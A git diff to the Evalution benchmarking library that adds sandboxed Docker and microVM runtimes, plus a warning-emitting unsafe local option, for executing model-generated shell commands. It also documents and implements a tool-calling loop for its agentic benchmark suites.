diff --git a/README.md b/README.md
index f2b0b3e..9fee127 100644
--- a/README.md
+++ b/README.md
@@ -731,6 +731,123 @@ result = (
YAML flows can only configure `tokenizer_path`; passing a live tokenizer object is Python-only.
+## Agent Runtimes 🛡️
+
+Some agentic benchmarks do more than score text: the tool-calling suites (`terminal_bench_21`,
+`deep_swe`, and `toolathlon_verified`) execute model-generated shell commands to verify task
+outcomes. Because those commands come from an LLM, Evalution refuses to run them directly on your
+machine. A tool-calling suite without a configured runtime fails before evaluation starts:
+
+```
+ValueError: terminal_bench_21 executes model-generated commands, which requires an isolated
+AgentRuntime. Configure agent_runtime=DockerAgentRuntime() | SmolVmAgentRuntime(),
+or pass UnsafeLocalRuntime() to explicitly allow unisolated host execution.
+```
+
+Pick one of the sandboxed runtimes below and pass it directly to the suite:
+
+```python
+import evalution.benchmarks as benchmarks
+from evalution import DockerAgentRuntime
+suite = benchmarks.terminal_bench_21(
+ agent_runtime=DockerAgentRuntime(),
+)
+```
+
+Tool-calling suites run an intercept-execute-resume loop, and they draw a hard line between
+**tool calling** (the model's deliberate request to execute an action) and **code output**
+(inert generated text such as a fenced snippet inside a plain answer — never executed). Which
+marker counts as a tool call is resolved per suite from two options:
+
+- `tool_call_mode`: `auto` (default), `native`, or `prompted`. `auto` probes the model's chat
+ template for native tool support and uses the model's own pre-trained tool-calling format
+ explicitly; models without native support fall back to the generic prompted
+ `` marker syntax, injected automatically as a system message.
+- `tool_call_format`: `auto` (default), `native_json` (model-native response encoding:
+ `<|python_tag|>{...}`, `{...}`, or bare JSON), `tool_call_tags` (the widely
+ supported generic `...` action-marker syntax used for prompted models —
+ deliberately distinct from ordinary bash code output), or
+ `fenced_shell` (shell-language code fences as an explicitly opted-in action channel).
+
+An explicit format pins its mode family (`native_json` → native; others → prompted). Under the
+declared protocol, every tool call in a generation is captured and executed on the runtime;
+anything not matching the protocol stays inert model output. For prompted models, the syntax
+contract is injected as a system message automatically.
+
+Tool-calling suites run the loop: when a generation contains a tool call under the declared
+protocol, Evalution executes it on the configured runtime, appends the observation to the
+conversation, and resumes inference until the model returns a final answer or `max_tool_turns`
+is exhausted. Set `apply_chat_template=True` on the suite to run instruct models through their
+chat template.
+
+Every runtime shares two common settings: `path` selects the runtime binary and defaults to
+`"auto"`, which resolves the runtime's standard binary (`docker`, `smolvm`) from the current
+environment `PATH`; `image` selects the default execution image and can be overridden per task.
+
+### DockerAgentRuntime (containers)
+
+Runs every generated command in a disposable `docker run --rm` container with no network access by
+default. Requires a working Docker daemon.
+
+```python
+from evalution import DockerAgentRuntime
+
+runtime = DockerAgentRuntime(
+ path="auto", # "auto" resolves `docker` from PATH; or pass an explicit binary path
+ image="alpine:latest", # default image when a task does not pin one
+ timeout=60.0, # per-command timeout in seconds
+ network="none", # container network mode; keep "none" for untrusted models
+ pull="never", # never pull images from the network at run time
+)
+```
+
+### SmolVmAgentRuntime (microVMs)
+
+Runs every generated command in an ephemeral [smolvm](https://github.com/smol-machines/smolvm)
+microVM — a hardware-isolated virtual machine with its own guest kernel that is removed after exit.
+Networking is off unless you enable it. Requires the `smolvm` CLI and platform virtualization
+support (KVM on Linux).
+
+```python
+from evalution import SmolVmAgentRuntime
+
+runtime = SmolVmAgentRuntime(
+ path="auto", # "auto" resolves `smolvm` from PATH
+ image="alpine", # OCI image to boot
+ timeout=60.0,
+ network=False, # leave disabled for untrusted models
+)
+```
+
+### UnsafeLocalRuntime (explicit host bypass)
+
+To run commands directly on the host with no isolation, you must explicitly opt in with
+`UnsafeLocalRuntime`. It emits a `RuntimeWarning` on construction so the choice is visible in logs
+and CI. Only use it for fully trusted workloads on disposable machines.
+
+```python
+import warnings
+from evalution import UnsafeLocalRuntime
+
+with warnings.catch_warnings():
+ warnings.simplefilter("ignore", RuntimeWarning) # acknowledge the warning once
+ runtime = UnsafeLocalRuntime()
+
+suite = benchmarks.deep_swe(
+ dataset_path="~/.cache/evalution/deep-swe/tasks",
+ agent_runtime=runtime,
+)
+```
+
+Custom sandboxes implement `BaseAgentRuntime` (a single async-safe `run(command, ...) -> AgentRuntimeResult`
+method) and pass it as `agent_runtime=` the same way.
+
+Every suite carries two declarative class flags: `is_agentic` marks agentic benchmark families, and
+`has_tool_calling` marks suites that execute model-generated commands. Evalution's shared evaluation
+pipeline reads these flags and refuses to start any tool-calling suite without a configured runtime —
+regardless of how the suite was constructed (Python API or YAML) — so new agentic benchmarks get the
+same enforcement for free by setting `has_tool_calling = True`.
+
## Supported Benchmarks 📚
Evalution currently ships the following built-in benchmarks:
@@ -758,7 +875,8 @@ their task files in the directories expected by Evalution:
Create the applicable directory and populate it with the benchmark's task files before running the
suite. This repository does not include a setup or download script for these files, so all three
suites currently require manual task provisioning; otherwise evaluation fails with a local task
-directory error.
+directory error. These three suites execute model-generated commands, so they additionally require
+a sandboxed agent runtime; see [Agent Runtimes](#agent-runtimes-️) above.
| Suite | Original benchmark |
| --- | --- |
diff --git a/evalution/__init__.py b/evalution/__init__.py
index b3ea6a5..ff25a75 100644
--- a/evalution/__init__.py
+++ b/evalution/__init__.py
@@ -9,6 +9,13 @@
from contextlib import redirect_stdout
from evalution._banner import ASCII_LOGO, get_startup_banner
+from evalution.agent_runtime import (
+ AgentRuntimeResult,
+ BaseAgentRuntime,
+ DockerAgentRuntime,
+ SmolVmAgentRuntime,
+ UnsafeLocalRuntime,
+)
from evalution.compare import CompareRun, compare, run_compare
from evalution.config import Model
from evalution.engines import (
@@ -53,11 +60,14 @@
"BaseEngineQuantizationConfig",
"BaseEngineTokenizerModeConfig",
"BaseEngineTransformersRuntimeConfig",
+ "BaseAgentRuntime",
"BaseInferenceSession",
"CompareMetricResult",
"CompareRun",
"CompareRunResult",
"CompareTestResult",
+ "AgentRuntimeResult",
+ "DockerAgentRuntime",
"EvaluationRun",
"GPTQModel",
"LlamaCpp",
@@ -66,12 +76,14 @@
"RunResult",
"SGLang",
"SampleResult",
+ "SmolVmAgentRuntime",
"SharedEngineConfig",
"TensorRTLLM",
"Tinygrad",
"TestResult",
"Transformers",
"TransformersCompat",
+ "UnsafeLocalRuntime",
"VLLM",
"benchmarks",
"compare",
diff --git a/evalution/agent_runtime.py b/evalution/agent_runtime.py
new file mode 100644
index 0000000..58a11ee
--- /dev/null
+++ b/evalution/agent_runtime.py
@@ -0,0 +1,267 @@
+# SPDX-FileCopyrightText: 2026 ModelCloud.ai
+# SPDX-FileCopyrightText: 2026 qubitium@modelcloud.ai
+# SPDX-License-Identifier: Apache-2.0
+# Contact: qubitium@modelcloud.ai, x.com/qubitium
+
+"""Isolated execution runtimes for agentic benchmark workloads.
+
+Agentic benchmarks execute model-generated commands, so every tool-calling
+suite must run them through a sandboxed :class:`BaseAgentRuntime` such as
+:class:`DockerAgentRuntime` or :class:`SmolVmAgentRuntime`. Running on the
+bare host is only allowed through the explicit, warning-emitting
+:class:`UnsafeLocalRuntime` escape hatch.
+
+Every runtime shares two common settings: ``path`` selects the runtime
+binary (``"auto"`` resolves through the current environment ``PATH``) and
+``image`` selects the default execution image.
+"""
+
+from __future__ import annotations
+
+import dataclasses
+import subprocess
+import time
+import warnings
+from abc import ABC, abstractmethod
+from collections.abc import Mapping
+
+AUTO_PATH = "auto"
+
+
+@dataclasses.dataclass(slots=True)
+class AgentRuntimeResult:
+ """Result of one command executed by an agent runtime."""
+
+ stdout: str
+ stderr: str
+ exit_code: int
+ command: list[str]
+ duration_s: float
+
+
+def _resolve_path(path: str, default_binary: str) -> str:
+ """Resolve ``path="auto"`` to the runtime's default binary name."""
+ return default_binary if path == AUTO_PATH else path
+
+
+class BaseAgentRuntime(ABC):
+ """Common configuration and interface for isolated agent execution.
+
+ ``path`` locates the runtime CLI binary; the default ``"auto"`` uses the
+ binary name resolved from the current configured bin environment.
+ ``image`` is the default image used when a call does not override it.
+ """
+
+ DEFAULT_BINARY: str = ""
+
+ def __init__(
+ self,
+ *,
+ path: str = AUTO_PATH,
+ image: str | None = None,
+ timeout: float = 60.0,
+ ) -> None:
+ self.path = path
+ self.image = image
+ self.timeout = timeout
+
+ @property
+ def resolved_path(self) -> str:
+ """Return the concrete runtime binary used for execution."""
+ return _resolve_path(self.path, self.DEFAULT_BINARY)
+
+ @abstractmethod
+ def run(
+ self,
+ command: str,
+ *,
+ image: str | None = None,
+ timeout: float | None = None,
+ env: Mapping[str, str] | None = None,
+ volumes: Mapping[str, str] | None = None,
+ workdir: str | None = None,
+ ) -> AgentRuntimeResult:
+ """Run ``command`` inside the isolated runtime."""
+ raise NotImplementedError
+
+
+class DockerAgentRuntime(BaseAgentRuntime):
+ """Run agent commands in disposable Docker containers."""
+
+ DEFAULT_BINARY = "docker"
+ DEFAULT_IMAGE = "alpine:latest"
+
+ def __init__(
+ self,
+ *,
+ path: str = AUTO_PATH,
+ image: str | None = None,
+ timeout: float = 60.0,
+ network: str = "none",
+ pull: str = "never",
+ shell: str = "sh",
+ ) -> None:
+ super().__init__(path=path, image=image, timeout=timeout)
+ self.network = network
+ self.pull = pull
+ self.shell = shell
+
+ def run(
+ self,
+ command: str,
+ *,
+ image: str | None = None,
+ timeout: float | None = None,
+ env: Mapping[str, str] | None = None,
+ volumes: Mapping[str, str] | None = None,
+ workdir: str | None = None,
+ ) -> AgentRuntimeResult:
+ """Run ``command`` in a fresh container."""
+ resolved_image = image or self.image or self.DEFAULT_IMAGE
+ resolved_timeout = self.timeout if timeout is None else timeout
+ docker_cmd = [
+ self.resolved_path,
+ "run",
+ "--rm",
+ "-i",
+ "--pull",
+ self.pull,
+ "--network",
+ self.network,
+ ]
+ if env:
+ for key, value in env.items():
+ docker_cmd.extend(["-e", f"{key}={value}"])
+ if volumes:
+ for host_path, container_path in volumes.items():
+ docker_cmd.extend(["-v", f"{host_path}:{container_path}"])
+ if workdir:
+ docker_cmd.extend(["-w", workdir])
+ docker_cmd.extend([resolved_image, self.shell, "-c", command])
+ return _run_process(docker_cmd, timeout=resolved_timeout)
+
+
+class SmolVmAgentRuntime(BaseAgentRuntime):
+ """Run agent commands in disposable smolvm microVMs.
+
+ See https://github.com/smol-machines/smolvm; each command boots an
+ ephemeral hardware-isolated VM that is removed after exit.
+ """
+
+ DEFAULT_BINARY = "smolvm"
+ DEFAULT_IMAGE = "alpine"
+
+ def __init__(
+ self,
+ *,
+ path: str = AUTO_PATH,
+ image: str | None = None,
+ timeout: float = 60.0,
+ network: bool = False,
+ cpus: int | None = None,
+ memory_mib: int | None = None,
+ shell: str = "sh",
+ ) -> None:
+ super().__init__(path=path, image=image, timeout=timeout)
+ self.network = network
+ self.cpus = cpus
+ self.memory_mib = memory_mib
+ self.shell = shell
+
+ def run(
+ self,
+ command: str,
+ *,
+ image: str | None = None,
+ timeout: float | None = None,
+ env: Mapping[str, str] | None = None,
+ volumes: Mapping[str, str] | None = None,
+ workdir: str | None = None,
+ ) -> AgentRuntimeResult:
+ """Run ``command`` in an ephemeral smolvm machine."""
+ resolved_image = image or self.image or self.DEFAULT_IMAGE
+ resolved_timeout = self.timeout if timeout is None else timeout
+ smolvm_cmd = [self.resolved_path, "machine", "run"]
+ if self.network:
+ smolvm_cmd.append("--net")
+ if self.cpus is not None:
+ smolvm_cmd.extend(["--cpus", str(self.cpus)])
+ if self.memory_mib is not None:
+ smolvm_cmd.extend(["--mem", str(self.memory_mib)])
+ smolvm_cmd.extend(["--image", resolved_image])
+ if env:
+ for key, value in env.items():
+ smolvm_cmd.extend(["--env", f"{key}={value}"])
+ if volumes:
+ for host_path, container_path in volumes.items():
+ smolvm_cmd.extend(["--volume", f"{host_path}:{container_path}"])
+ if workdir:
+ smolvm_cmd.extend(["--workdir", workdir])
+ smolvm_cmd.extend(["--", self.shell, "-c", command])
+ return _run_process(smolvm_cmd, timeout=resolved_timeout)
+
+
+class UnsafeLocalRuntime(BaseAgentRuntime):
+ """Run agent commands directly on the host without any isolation."""
+
+ DEFAULT_BINARY = "sh"
+
+ def __init__(self, *, shell: str = "sh", timeout: float = 60.0) -> None:
+ super().__init__(path=AUTO_PATH, image=None, timeout=timeout)
+ self.shell = shell
+ warnings.warn(
+ "UnsafeLocalRuntime executes agent commands directly on the host "
+ "without sandboxing; only use it for fully trusted workloads.",
+ RuntimeWarning,
+ stacklevel=2,
+ )
+
+ def run(
+ self,
+ command: str,
+ *,
+ image: str | None = None,
+ timeout: float | None = None,
+ env: Mapping[str, str] | None = None,
+ volumes: Mapping[str, str] | None = None,
+ workdir: str | None = None,
+ ) -> AgentRuntimeResult:
+ """Run ``command`` on the host; isolation options are ignored."""
+ del image, env, volumes, workdir
+ resolved_timeout = self.timeout if timeout is None else timeout
+ return _run_process([self.shell, "-c", command], timeout=resolved_timeout)
+
+
+def _run_process(command: list[str], *, timeout: float) -> AgentRuntimeResult:
+ """Execute a runtime CLI command and normalize timeout results."""
+ start = time.perf_counter()
+ try:
+ process = subprocess.run(
+ command,
+ capture_output=True,
+ text=True,
+ check=False,
+ timeout=timeout,
+ )
+ return AgentRuntimeResult(
+ stdout=process.stdout,
+ stderr=process.stderr,
+ exit_code=process.returncode,
+ command=command,
+ duration_s=time.perf_counter() - start,
+ )
+ except subprocess.TimeoutExpired as exc:
+ return AgentRuntimeResult(
+ stdout=_text_output(exc.stdout),
+ stderr=_text_output(exc.stderr),
+ exit_code=-1,
+ command=command,
+ duration_s=timeout,
+ )
+
+
+def _text_output(value: str | bytes | None) -> str:
+ """Normalize subprocess output, including timeout byte strings."""
+ if value is None:
+ return ""
+ return value.decode(errors="replace") if isinstance(value, bytes) else value
diff --git a/evalution/benchmarks/agentic.py b/evalution/benchmarks/agentic.py
index 219b97e..5803391 100644
--- a/evalution/benchmarks/agentic.py
+++ b/evalution/benchmarks/agentic.py
@@ -15,17 +15,36 @@
import json
import os
from dataclasses import dataclass
+from dataclasses import replace as dataclass_replace
from pathlib import Path
-from typing import Any
+from typing import Any, ClassVar
import pcre
from datasets import Dataset, load_dataset
-from evalution.benchmarks.agentic_docker import DockerSandbox, extract_command
+from evalution.agent_runtime import BaseAgentRuntime
from evalution.benchmarks.base import BaseTestSuite
+from evalution.benchmarks.data import load_suite_dataset, select_docs
from evalution.benchmarks.execution import PreparedSample
-from evalution.engines.base import GenerationOutput, GenerationRequest
-from evalution.results import SampleResult
+from evalution.benchmarks.tool_calling import (
+ NATIVE_TOOL_SYSTEM_MESSAGE,
+ PROMPTED_TOOL_SYSTEM_MESSAGE,
+ RUN_COMMAND_TOOL,
+ TOOL_CALL_MODE_AUTO,
+ TOOL_CALL_MODE_NATIVE,
+ TOOL_CALL_MODE_PROMPTED,
+ TOOL_CALL_NATIVE_JSON,
+ TOOL_CALL_TAGS,
+ extract_tool_calls,
+ native_tool_commands,
+ session_supports_native_tool_calls,
+ try_extract_tool_call,
+ validate_tool_call_format,
+ validate_tool_call_mode,
+)
+from evalution.engines.base import GenerationOutput, GenerationRequest, InferenceSession
+from evalution.logbar import get_logger
+from evalution.results import SampleResult, TestResult
# Keep benchmark defaults and public task ids explicit at module scope.
_STOP_STRINGS = (
@@ -38,6 +57,7 @@
)
_WS_PATTERN = pcre.compile(r"\s+")
+_SPECIAL_TOKEN_RE = pcre.compile(r"<\|[^>]*\|>")
_TASK_TOML_DOCKER_IMAGE_RE = pcre.compile(r'^docker_image\s*=\s*"([^"]+)"', pcre.MULTILINE)
_TASK_TOML_NAME_RE = pcre.compile(r'^name\s*=\s*"([^"]+)"', pcre.MULTILINE)
@@ -120,6 +140,8 @@ def _agentbench_target(doc: dict[str, Any]) -> str:
class SWEBench(BaseTestSuite):
"""SWE-bench text-generation scaffold."""
+ is_agentic: ClassVar[bool] = True
+
dataset_path: str = "princeton-nlp/SWE-bench"
dataset_name: str | None = None
split: str = "test"
@@ -194,6 +216,8 @@ def score_sample(
class WebArena(BaseTestSuite):
"""WebArena text-generation scaffold."""
+ is_agentic: ClassVar[bool] = True
+
dataset_path: str = "AmineHA/WebArena-Verified"
dataset_name: str | None = None
split: str = "full"
@@ -268,6 +292,8 @@ def score_sample(
class GAIA(BaseTestSuite):
"""GAIA text-generation scaffold."""
+ is_agentic: ClassVar[bool] = True
+
dataset_path: str = "gaia-benchmark/GAIA"
dataset_name: str = "2023_level1"
split: str = "validation"
@@ -343,6 +369,8 @@ def score_sample(
class OSWorld(BaseTestSuite):
"""OSWorld text-generation scaffold using the public text-only gold set."""
+ is_agentic: ClassVar[bool] = True
+
dataset_path: str = "hud-evals/OSWorld-Gold"
dataset_name: str | None = None
split: str = "train"
@@ -415,6 +443,8 @@ def score_sample(
class AgentBench(BaseTestSuite):
"""AgentBench text-generation scaffold (OSBench split)."""
+ is_agentic: ClassVar[bool] = True
+
dataset_path: str = "iFurySt/AgentBench"
dataset_name: str = "default"
split: str = "osbench"
@@ -725,6 +755,8 @@ class SWEBenchPro(SWEBench):
class SWEAtlasQnA(BaseTestSuite):
"""SWE Atlas (Codebase QnA) text-generation scaffold."""
+ is_agentic: ClassVar[bool] = True
+
dataset_path: str = "ScaleAI/SWE-Atlas-QnA"
dataset_name: str | None = None
split: str = "test"
@@ -800,7 +832,19 @@ def score_sample(
@dataclass(slots=True)
class _LocalAgenticBenchmark(BaseTestSuite):
- """Base class for agentic benchmarks that ship as local Harbor task directories."""
+ """Base class for agentic benchmarks that ship as local Harbor task directories.
+
+ These suites run an intercept-execute-resume tool loop: the model generates
+ text, Evalution intercepts tool calls under the declared
+ ``tool_call_format`` protocol, executes them on the configured sandboxed
+ runtime, appends the observation, and resumes inference until the model
+ produces a final answer or ``max_tool_turns`` is exhausted. Anything not
+ matching the declared protocol — including fenced code the model merely
+ outputs as an answer — is inert text and never executed.
+ """
+
+ is_agentic: ClassVar[bool] = True
+ has_tool_calling: ClassVar[bool] = True
dataset_name: str | None = None
split: str = "test"
@@ -809,9 +853,18 @@ class _LocalAgenticBenchmark(BaseTestSuite):
batch_size: int = 1
do_sample: bool = False
temperature: float = 0.0
- use_docker: bool = False
- docker_image: str = "alpine:latest"
- docker_timeout: float = 60.0
+ max_tool_turns: int = 4
+ apply_chat_template: bool = False
+ # How tool calls are signalled: "auto" probes the model's chat template
+ # for native tool support and uses it explicitly, falling back to the
+ # generic prompted syntax for models without native tools.
+ tool_call_mode: str = TOOL_CALL_MODE_AUTO
+ # Wire format of an intercepted tool call; "auto" resolves from the mode.
+ tool_call_format: str = "auto"
+ agent_runtime: BaseAgentRuntime | None = None
+
+ def __post_init__(self) -> None:
+ validate_tool_call_mode(self.tool_call_mode)
def dataset_loader(self) -> Any:
"""Return the local task directory loader bound to this suite."""
@@ -821,95 +874,344 @@ def task_name(self) -> str:
"""Return the exported task name for this suite."""
return self.variant_name
+ def _require_agent_runtime(self) -> BaseAgentRuntime:
+ """Return the configured runtime or refuse to run tool-calling tasks."""
+ if self.agent_runtime is None:
+ raise ValueError(
+ f"{self.task_name()} executes model-generated commands, which requires "
+ "an isolated AgentRuntime. Configure agent_runtime=DockerAgentRuntime() | "
+ "SmolVmAgentRuntime(), or pass UnsafeLocalRuntime() to explicitly allow "
+ "unisolated host execution."
+ )
+ return self.agent_runtime
+
+ def _resolve_tool_calling(self, session: InferenceSession) -> tuple[str, str]:
+ """Resolve the effective tool-call mode/format for this session.
+
+ An explicit format pins its natural mode family (``native_json`` ->
+ native; ``tool_call_tags``/``fenced_shell`` -> prompted). With everything
+ left on ``auto``, the model's chat template is probed for native tool
+ support and used explicitly when available, falling back to the
+ generic prompted ```` syntax otherwise.
+ """
+ validate_tool_call_mode(self.tool_call_mode)
+ native_supported = session_supports_native_tool_calls(session)
+
+ mode = self.tool_call_mode
+ tool_call_format = self.tool_call_format
+ if tool_call_format != "auto":
+ validate_tool_call_format(tool_call_format)
+ if tool_call_format == TOOL_CALL_NATIVE_JSON:
+ if mode == TOOL_CALL_MODE_PROMPTED:
+ raise ValueError(
+ "prompted models cannot use the 'native_json' format"
+ )
+ mode = TOOL_CALL_MODE_NATIVE
+ else:
+ if mode == TOOL_CALL_MODE_NATIVE:
+ raise ValueError(
+ f"tool_call_mode='native' requires tool_call_format="
+ f"'native_json' or 'auto', got {tool_call_format!r}"
+ )
+ mode = TOOL_CALL_MODE_PROMPTED
+
+ if mode == TOOL_CALL_MODE_AUTO:
+ mode = (
+ TOOL_CALL_MODE_NATIVE if native_supported else TOOL_CALL_MODE_PROMPTED
+ )
+ elif mode == TOOL_CALL_MODE_NATIVE and not native_supported:
+ raise ValueError(
+ f"{self.task_name()} requested native tool calling, but this model's "
+ "chat template does not support tools; use tool_call_mode='prompted'."
+ )
+
+ if tool_call_format == "auto":
+ tool_call_format = (
+ TOOL_CALL_NATIVE_JSON
+ if mode == TOOL_CALL_MODE_NATIVE
+ else TOOL_CALL_TAGS
+ )
+ return mode, tool_call_format
+
def result_metadata(
self,
*,
generation_submission_mode: str,
) -> dict[str, Any]:
"""Return the result metadata emitted for this suite."""
- scoring_mode = (
- "docker_stdout_exact_match"
- if self.use_docker
- else "patch_exact_match"
- )
return {
**self.base_result_metadata(generation_submission_mode=generation_submission_mode),
- "scoring_mode": scoring_mode,
+ "scoring_mode": "agent_runtime_stdout_exact_match",
"primary_metric": "em",
}
def iter_prepared_samples(self, docs: list[dict[str, Any]] | Any) -> Any:
"""Yield prepared samples for the current dataset rows."""
for index, doc in enumerate(docs):
- yield PreparedSample(
- index=index,
- doc=doc,
- target=str(doc.get("patch", "")),
- request=GenerationRequest(
- prompt=_task_prompt(str(doc.get("problem_statement", ""))),
+ task_prompt = _task_prompt(str(doc.get("problem_statement", "")))
+ if self.apply_chat_template:
+ request = GenerationRequest(
+ messages=[{"role": "user", "content": task_prompt}],
+ add_generation_prompt=True,
stop=list(_STOP_STRINGS),
max_new_tokens=self.max_new_tokens,
do_sample=self.do_sample,
temperature=self.temperature,
- ),
+ )
+ else:
+ request = GenerationRequest(
+ prompt=task_prompt,
+ stop=list(_STOP_STRINGS),
+ max_new_tokens=self.max_new_tokens,
+ do_sample=self.do_sample,
+ temperature=self.temperature,
+ )
+ yield PreparedSample(
+ index=index,
+ doc=doc,
+ target=str(doc.get("patch", "")),
+ request=request,
+ )
+
+ def evaluate(self, session: InferenceSession) -> TestResult:
+ """Run the intercept-execute-resume tool loop against the runtime."""
+ runtime = self._require_agent_runtime()
+ task_name = self.task_name()
+ mode, tool_call_format = self._resolve_tool_calling(session)
+ logger = get_logger()
+ logger.info(
+ "%s: tool calling mode=%s format=%s", task_name, mode, tool_call_format
+ )
+
+ loaded_docs, _dataset_load_wall_s = load_suite_dataset(
+ self.dataset_loader(),
+ task_name=task_name,
+ dataset_path=self.dataset_path,
+ dataset_name=self.dataset_name,
+ split=self.split,
+ cache_dir=self.cache_dir,
+ stream=self.stream,
+ )
+ docs = list(
+ select_docs(
+ loaded_docs,
+ row_indices=self.row_indices,
+ max_rows=self.max_rows,
)
+ )
+ logger.info("%s: evaluating %d sample(s)", task_name, len(docs))
+
+ samples = [
+ self._evaluate_tool_loop_sample(session, runtime, prepared, mode, tool_call_format)
+ for prepared in self.iter_prepared_samples(docs)
+ ]
+
+ metrics: dict[str, float] = {}
+ if samples:
+ metrics["em"] = sum(
+ sample.scores.get("em", 0.0) for sample in samples
+ ) / len(samples)
+ result_metadata = self.result_metadata(generation_submission_mode="agentic_tool_loop")
+ result_metadata["tool_call_mode"] = mode
+ result_metadata["tool_call_format"] = tool_call_format
+ return TestResult(
+ name=task_name,
+ metrics=metrics,
+ samples=samples,
+ metadata=result_metadata,
+ )
+
+ def _evaluate_tool_loop_sample(
+ self,
+ session: InferenceSession,
+ runtime: BaseAgentRuntime,
+ prepared: PreparedSample,
+ mode: str,
+ tool_call_format: str,
+ ) -> SampleResult:
+ """Intercept tool calls, execute them on the runtime, and resume inference."""
+ doc = prepared.doc
+ target = prepared.target
+ request = prepared.request
+ image = str(doc.get("docker_image", "")) or None
+
+ use_native = tool_call_format == TOOL_CALL_NATIVE_JSON
+
+ if use_native:
+ # Native mode renders through the model's own pre-trained
+ # tool-calling template via the tools schema.
+ user_content = request.prompt
+ if user_content is None and request.messages:
+ user_content = next(
+ (
+ message.get("content", "")
+ for message in request.messages
+ if message.get("role") == "user"
+ ),
+ "",
+ )
+ conversation_messages: list[dict[str, str]] | None = [
+ {"role": "user", "content": user_content or ""},
+ ]
+ elif request.messages is not None:
+ conversation_messages = list(request.messages)
+ elif self.apply_chat_template:
+ conversation_messages = [{"role": "user", "content": request.prompt or ""}]
+ else:
+ conversation_messages = None
+
+ system_message: str | None = None
+ if mode == TOOL_CALL_MODE_NATIVE:
+ system_message = NATIVE_TOOL_SYSTEM_MESSAGE
+ elif mode == TOOL_CALL_MODE_PROMPTED:
+ # Prompted models were never trained to call tools, so the generic
+ # contract is injected as an explicit system prompt.
+ system_message = PROMPTED_TOOL_SYSTEM_MESSAGE
+ if conversation_messages is not None and system_message is not None and (
+ not conversation_messages or conversation_messages[0].get("role") != "system"
+ ):
+ conversation_messages.insert(0, {"role": "system", "content": system_message})
+
+ conversation = request.prompt or ""
+ commands: list[str] = []
+ stdouts: list[str] = []
+ exit_codes: list[int] = []
+ final_answer = ""
+ turns = 0
+ text = ""
+
+ for _ in range(max(1, self.max_tool_turns)):
+ turns += 1
+ # Once observations exist this turn asks for the final answer, so
+ # the tool schema is withheld: models otherwise keep issuing calls
+ # instead of concluding.
+ offer_tools = use_native and turns == 1
+ if conversation_messages is not None:
+ turn_request = dataclass_replace(
+ request,
+ prompt=None,
+ messages=conversation_messages,
+ tools=[RUN_COMMAND_TOOL] if offer_tools else None,
+ )
+ else:
+ turn_request = dataclass_replace(request, prompt=conversation)
+ outputs = session.generate([turn_request], batch_size=1)
+ text = outputs[0].text or ""
+ if use_native:
+ turn_commands = native_tool_commands(text)
+ else:
+ turn_commands = extract_tool_calls(text, tool_call_format)
+ if not turn_commands:
+ final_answer = text.strip()
+ break
+ observations: list[str] = []
+ for command in turn_commands:
+ commands.append(command)
+ run_result = runtime.run(command, image=image)
+ stdouts.append(run_result.stdout)
+ exit_codes.append(run_result.exit_code)
+ observation = run_result.stdout.strip()
+ # Harness chatter lands on stderr even for successful runs
+ # (for example smolvm boot messages); only surface stderr
+ # for failures so observations stay clean command output.
+ if run_result.exit_code != 0 and run_result.stderr.strip():
+ observation = f"{observation}\n{run_result.stderr.strip()}"
+ observations.append(observation)
+ joined_observations = "\n---\n".join(observations)
+ if conversation_messages is not None:
+ conversation_messages = conversation_messages + [
+ {"role": "assistant", "content": text},
+ {
+ "role": "user",
+ "content": (
+ f"Command output:\n{joined_observations}\n\n"
+ "Final answer: reply with ONLY the exact output "
+ "above, character for character."
+ ),
+ },
+ ]
+ else:
+ conversation = (
+ f"{conversation}{text}\n"
+ f"\n{joined_observations}\n\nAnswer:"
+ )
+ else:
+ final_answer = text.strip()
+
+ def _answer_key(text: str) -> str:
+ """Normalize a final answer, dropping special-token markers and quotes."""
+ unwrapped = _SPECIAL_TOKEN_RE.sub("", text).strip()
+ if (
+ len(unwrapped) >= 2
+ and unwrapped[0] == unwrapped[-1]
+ and unwrapped[0] in "\"'\u201c\u201d\u2018\u2019"
+ ):
+ unwrapped = unwrapped[1:-1].strip()
+ return _normalize(unwrapped)
+
+ score = 1.0 if _answer_key(final_answer) == _answer_key(target) else 0.0
+ return SampleResult(
+ index=prepared.index,
+ prompt=request.prompt or "",
+ target=target,
+ prediction=final_answer,
+ extracted={
+ "final-answer": final_answer,
+ "commands": "\n".join(commands),
+ "stdout": stdouts[-1] if stdouts else "",
+ "prediction-normalized": _answer_key(final_answer),
+ "target-normalized": _answer_key(target),
+ },
+ scores={"em": score},
+ metadata={
+ "instance_id": str(doc.get("instance_id", "")),
+ "runtime_type": type(runtime).__name__,
+ "runtime_exit_code": exit_codes[-1] if exit_codes else None,
+ "tool_turns": turns,
+ "commands_executed": len(commands),
+ "tool_call_mode": mode,
+ "tool_call_format": tool_call_format,
+ },
+ )
def score_sample(
self,
prepared_sample: PreparedSample,
output: GenerationOutput,
) -> SampleResult:
- """Score one sample against its expected outputs."""
+ """Score one sample by running its extracted command through the runtime."""
doc = prepared_sample.doc
target = prepared_sample.target
prediction = output.text
- if self.use_docker:
- command = extract_command(prediction)
- image = str(doc.get("docker_image", "")) or self.docker_image
- sandbox = DockerSandbox(
- image=image,
- timeout=self.docker_timeout,
- pull="never",
- )
- run_result = sandbox.run(command)
- score = (
- 1.0
- if _normalize(run_result.stdout) == _normalize(target)
- else 0.0
- )
- return SampleResult(
- index=prepared_sample.index,
- prompt=output.prompt,
- target=target,
- prediction=prediction,
- extracted={
- "command": command,
- "stdout": run_result.stdout,
- "prediction-normalized": _normalize(prediction),
- "target-normalized": _normalize(target),
- },
- scores={"em": score},
- metadata={
- "instance_id": str(doc.get("instance_id", "")),
- "docker_image": image,
- "docker_exit_code": run_result.exit_code,
- },
- )
-
+ runtime = self._require_agent_runtime()
+ single_shot_format = (
+ TOOL_CALL_TAGS if self.tool_call_format == "auto" else self.tool_call_format
+ )
+ command = try_extract_tool_call(prediction, single_shot_format) or ""
+ image = str(doc.get("docker_image", "")) or None
+ run_result = runtime.run(command, image=image)
+ score = (
+ 1.0
+ if _normalize(run_result.stdout) == _normalize(target)
+ else 0.0
+ )
return SampleResult(
index=prepared_sample.index,
prompt=output.prompt,
target=target,
prediction=prediction,
extracted={
+ "command": command,
+ "stdout": run_result.stdout,
"prediction-normalized": _normalize(prediction),
"target-normalized": _normalize(target),
},
- scores={"em": _exact_score(prediction, target)},
+ scores={"em": score},
metadata={
"instance_id": str(doc.get("instance_id", "")),
- "docker_image": str(doc.get("docker_image", "")),
+ "runtime_type": type(runtime).__name__,
+ "runtime_exit_code": run_result.exit_code,
},
)
@@ -920,7 +1222,6 @@ class TerminalBench21(_LocalAgenticBenchmark):
